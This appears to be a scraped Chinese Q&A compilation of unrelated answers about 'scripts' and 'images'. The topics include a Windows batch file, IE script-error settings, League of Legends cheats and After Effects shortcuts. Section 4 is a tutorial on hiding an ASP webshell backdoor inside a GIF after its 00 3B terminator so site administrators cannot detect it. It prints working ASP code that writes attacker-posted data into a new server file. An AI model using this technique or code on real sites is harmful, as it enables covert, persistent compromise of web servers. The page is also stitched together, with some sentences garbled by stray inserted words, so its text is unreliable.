1. windows下腳本生成圖片清單
@echooff&title生成圖片名清單By依夢琴瑤
cd/d%~dp0
::設置圖片格式
setExt=*.jp*g,*.png,*.bmp,*.gif
(for%%ain(%Ext%)do(
echo"%%~na"|findstr/i"cat">nul2>nul&&echo%%~a1
echo"%%~na"|findstr/i"fish">nul2>nul&&echo%%~a2
))>圖片名清單.txt
pause
2. 電腦每次開機都提示腳本錯誤
【原因分析】:
1. 勾選禁止腳本調試
2. 勾選顯示每個腳本錯誤的通知
3. 勾選顯示有好HTTP錯誤信息
【簡易步驟】:
【瀏覽器】—【工具】—【Internet選項】—【高級】—取消【禁止腳本調試】對勾—取消【顯示每個腳本錯誤的通知】對勾—取消【顯示有好HTTP錯誤信息】對勾—【確定】—關閉【瀏覽器】重新打開
【解決方案】:
1. 打開【IE瀏覽器】,點擊【工具】,選擇【Internet選項】。
3. LOL玩家遇到最強的腳本,「只能看到技能,找不到英雄」,你遇到過了嗎
《英雄聯盟》現在為了留住更多的老玩家開始不斷的更新,出新的玩法,希望能夠讓大家眼前一亮,但是隨著頻繁的更新也就出現了一系列的問題,那就是新系統不完善,導致BUG不斷,當然也有可能是一些新的腳本玩家,近日就有一名玩家表示,自己在玩游戲的時候,遇到了只能看到技能卻找不到英雄的情況。
游戲出現新的問題
我認為
這個非常有可能是新的腳本,這種無限隱身機制太無解了,根本沒有操作的機會,當然也有可能是新的Bug,如果在一局游戲中掉線,在重新連接之後,就會經常遇到一些問題,比如身上一直有Buff的標記,又或是被防禦塔鎖定的標記,還有可能是卡出自己技能釋放時候的樣子等等,相信很多的玩家也都遇到過。
4. 圖片內加入腳本
現在從注入拿WEBSHELL看來成功率都比較高了。拿到SHELL後,安裝自己的腳本後門,常常被查殺。 腳本後門的發展史:
1。最開始就是直接放一個ASP文件上去。
2。把ASP文件加密才放上去。
3。把腳本插入到代碼中去。(我經常用這種) 不過一樣被查得出來,我前段時候手工檢測一個站的腳本安全。發現這個站被種了21個木馬。所以我就想到了,怎麼樣才能不被發現不能被查殺。 最後我研究了一下如果把腳本插入到圖片中。然後在ASP中調用圖片中的腳本程序應該就可以了。 測試的時候通過了。現在我把我的心德寫一下。讓大家來分析一下。共同進步和完善這種方法。 在研究過程中我看了GIF圖片的結構文檔方面的書。 GIF圖片都是以 00 3B 為結束的。換句話說00 3B 後面的不會顯示出來。所以我們在00 3B後面插入代碼就行了。當然代碼我們加密放到圖片中去效果更好。我寫了一個程序來這么做。 這里要說一下,在圖片中00 3B後面的是不會顯示出來的。 但其中的代碼已經運行了。圖片也會正常顯示出來。 測試:
在圖片後面加入:<%=now%>
然後在一個ASP文件中加入:<!--#include file="aaa.gif" --> 然後你們下載這個圖片,發現圖片最後面變成了時間。很正常因為圖片放到了ASP腳本中運行了其中的代碼。 換句話來說,如果寫的是一段生成文件的腳本。那麼我們提交特定的參數讓圖片中的代碼去生成文件。這樣就實現了我們的後門。 1:這種方法要做的工作就是在目標站點中找一張GIF圖片然後把代碼插入到圖片中,再上傳到站點中去。這樣作管理員很難找到木馬在哪裡。打死也想不到木馬在圖片中。 2:我們插入的代碼只有一行就是那個include file .....
找個文件大點的ASP文件給插進去就行了。 然後我們在本地POST數據提交給ASP引用圖片的URL這樣就完成了工作。 我的插入圖片的腳本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 這段代碼主要就是在當前目錄下生成一個ok.asp文件。
文件內容是由我們提交的數據.用request("cyfddata")來獲取的。 這段代碼加密後插入到圖片中去。下面我把我程序的代碼貼出來。 本地自己構建一個提交表單向ASP文件提交(加入圖片那個文件) 表單文本框輸入內容名稱是:cyfddata 後感:
我本人認為這種方法,管理員很難查到。這是我兩天前想到的作出來了,可能有些問題希望和大家一起討論,必競,為了追求技術就得研究技術。
共享知識,從而升華。
感覺去研究一些新東西,人活得更XS些。
5. 腳本如何插入多張圖片
把你要在插入的三張圖設為B C D
FindPic 820,777,1070,792,"Attachment:\A.bmp" OR "Attachment:\B.bmp" OR "Attachment:\C.bmp" OR "Attachment:\D.bmp" ,1.0,intX,intY
以此類推空一個加OR在空一個然後插入目錄名稱
6. AE中在運行腳本時,第一次正常,第二次出現unable to execute script at line 1 如何讓該腳本正常運行
AE腳本裡面封裝了一些AE操作,只來要執行了AE腳本,這些操作將會自動在AE里執行一遍,相當於AE的機械化操作吧源。
一般情況下,部分有編程能力的人將一些重復性很強的步驟或者是相當復雜的效果的實現步驟編寫成AE腳本,以方便後來一次性生成此類效果。
(6)官方腳本圖片擴展閱讀:
AE的快捷使用:
1、建立一個新項目:Ctrl+Alt+N,可以新建一個項目,用於製作。
2、打開項目:Ctrl+O,按下Ctrl+O可以用於打開項目。
3、保存項目:Ctrl+S,當在使用AE時,如果需要保存一個項目,則可以通過Ctrl+S來進行保存項目。
4、退出軟體:按下Ctrl+Q可以退出軟體;
5、素材處理:替換素材文件Ctrl+H;設置解釋素材選項Ctrl+F;掃描發生變化的素材Ctrl+Alt+Shift+L;重新調入素材 Ctrl+Alt+L。
7. 英雄聯盟有全圖透視腳本嗎
目前聯盟並沒有全圖透視腳本,走位躲避,CD計時,以及自動連招,野怪擊殺提示,以及大小龍GANK等功能,簡單點的就枯絕兄是走砍了。然而,這種腳本是違沒襲反游戲規則和道德的,因為它給使用者非常大的不公平優勢,破壞了游戲的平衡性和公正性。因此,游戲開發商和社區都宏老會採取措施來禁止這種作弊行為。在游戲中使用透視腳本會導致賬號被封禁,甚至永久封禁。所以,我們強烈建議您不要使用這種作弊腳本,秉持誠實、公正的游戲態度,共同維護游戲的健康和有序發展。